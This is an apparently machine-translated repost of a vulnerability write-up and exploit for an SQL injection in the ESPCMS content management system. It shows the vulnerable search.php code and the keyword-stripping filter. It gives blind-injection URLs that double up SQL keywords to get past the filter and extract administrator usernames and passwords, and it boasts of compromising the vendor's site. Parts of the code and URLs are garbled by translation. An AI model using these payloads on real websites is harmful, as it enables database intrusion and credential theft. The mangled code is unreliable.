Espcms kill SQL injection vulnerability analysis with EXP + win the official website

Vulnerability: Espcms kill SQL injection vulnerability analysis attachment EXP

Vulnerability Author: Seay

Blog: www.cnseay.com

Reprinted please keep the above content...

Official Website introduction:

Yisi ESPCMS is an enterprise website management system built based on LAMP. It is easy to operate, powerful, stable, scalable, and secure, and convenient for secondary development and post-maintenance, it helps you quickly and easily build a powerful and professional enterprise website.

 

 

 

 

The vulnerability exists in the interface/search. php file and the interface/3gwap_search.php file in_taglist () function.

Interface/search. php:

 

function in_taglist() {parent::start_pagetemplate();include_once admin_ROOT . 'public/class_pagebotton.php';$page = $this->fun->accept('page', 'G');$page = isset($page) ? intval($page) : 1;$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;$tagkey = urldecode($this->fun->accept('tagkey', 'R'));$tagkey = $this->fun->inputcodetrim($tagkey);$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';if (empty($tagkey)) {$linkURL = $_SERVER['HTTP_REFERER'];$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);}if (!empty($tagkey)) {$db_where.=" AND FIND_IN_SET('$tagkey',tags)";}$pagemax = 20;$pagesylte = 1;$templatesDIR = $this->get_templatesdir('article');$templatefilename = $lng . '/' . $templatesDIR . '/search';$db_table = db_prefix . 'document';$countnum = $this->db_numrows($db_table, $db_where);if ($countnum > 0) {$numpage = ceil($countnum / $pagemax);} else {$numpage = 1;}$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);$sql = $this->htmlpage->PageSQL('pid,did', 'down');$rs = $this->db->query($sql);while ($rsList = $this->db->fetch_assoc($rs)) {

 

 

Because the $ tagkey variable uses urldecode, you can bypass GPC and finally

$ Db_where. = "AND FIND_IN_SET ('$ tagkey', tags )";

$ Tagkey is included in the SQL statement.

 

We can see the following:

 

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

 

It is also included in the database query. Two statements can be injected. You can see that the second SQL statement can be used to query data. However, because the default espcms configuration does not display SQL statement errors, the first SQL statement queries count (*), that is, int,

Even worse, as long as the first query reports an error, the second query will not be executed. So we only need to use the first blind injection.
 

Vulnerability Testing EXP: http://www.bkjia.com/espcms/index. php? Ac = search & at = taglist & tagkey = a %2527

 

Because espcms itself has anti-injection functions

Public \ class_function.php inputcodetrim () function.

 

function inputcodetrim($str) {if (empty($str)) return $str;$str = str_replace("&", "&", $str);$str = str_replace(">", ">", $str);$str = str_replace("<", "<", $str);$str = str_replace("<", "<", $str);$str = str_ireplace("select", "", $str);$str = str_ireplace("join", "", $str);$str = str_ireplace("union", "", $str);$str = str_ireplace("where", "", $str);$str = str_ireplace("insert", "", $str);$str = str_ireplace("delete", "", $str);$str = str_ireplace("update", "", $str);$str = str_ireplace("like", "", $str);$str = str_ireplace("drop", "", $str);$str = str_ireplace("create", "", $str);$str = str_ireplace("modify", "", $str);$str = str_ireplace("rename", "", $str);$str = str_ireplace("count", "", $str);$str = str_ireplace("from", "", $str);$str = str_ireplace("group by", "", $str);$str = str_ireplace("concat", "", $str);$str = str_ireplace("alter", "", $str);$str = str_ireplace("cas", "cast", $str);$str = preg_replace("/]+>/i", "", $str);$str = preg_replace("/
 
  ]+>/i"
 , "

", $ Str); $ str = preg_replace ("/] +>/I", "", $ Str); $ str = preg_replace ("/width = (\ '| \")? [\ D %] + (\ '| \")? /I "," ", $ str); $ str = preg_replace ("/height = (\ '| \")? [\ D %] + (\ '| \")? /I "," ", $ str); $ str = preg_replace ("' ) 'Si" , "", $ Str); return $ str ;}

Just replace the keyword with null. For example, union can bypass the anti-injection feature of uunionnion, and ignore the waf without blocking single quotes.

Length of the user name

Http: // localhost/espcms/index. php? Ac = search & at = taglist & tagkey = cnseay.com % 2527, tags) or did> 1 and 1 = (seselectlect length (username) frfromom espcms_admin_member limit 1) limit 1-by seay

Brute force username and password:

Http: // localhost/espcms/index. php? Ac = search & at = taglist & tagkey = cnseay.com % 2527, tags) or did> 1 and 97 = ascii (seselectlect mid (username,) frfromom espcms_admin_member limit 1 )) limit 1-by seay

The figure of the last official website: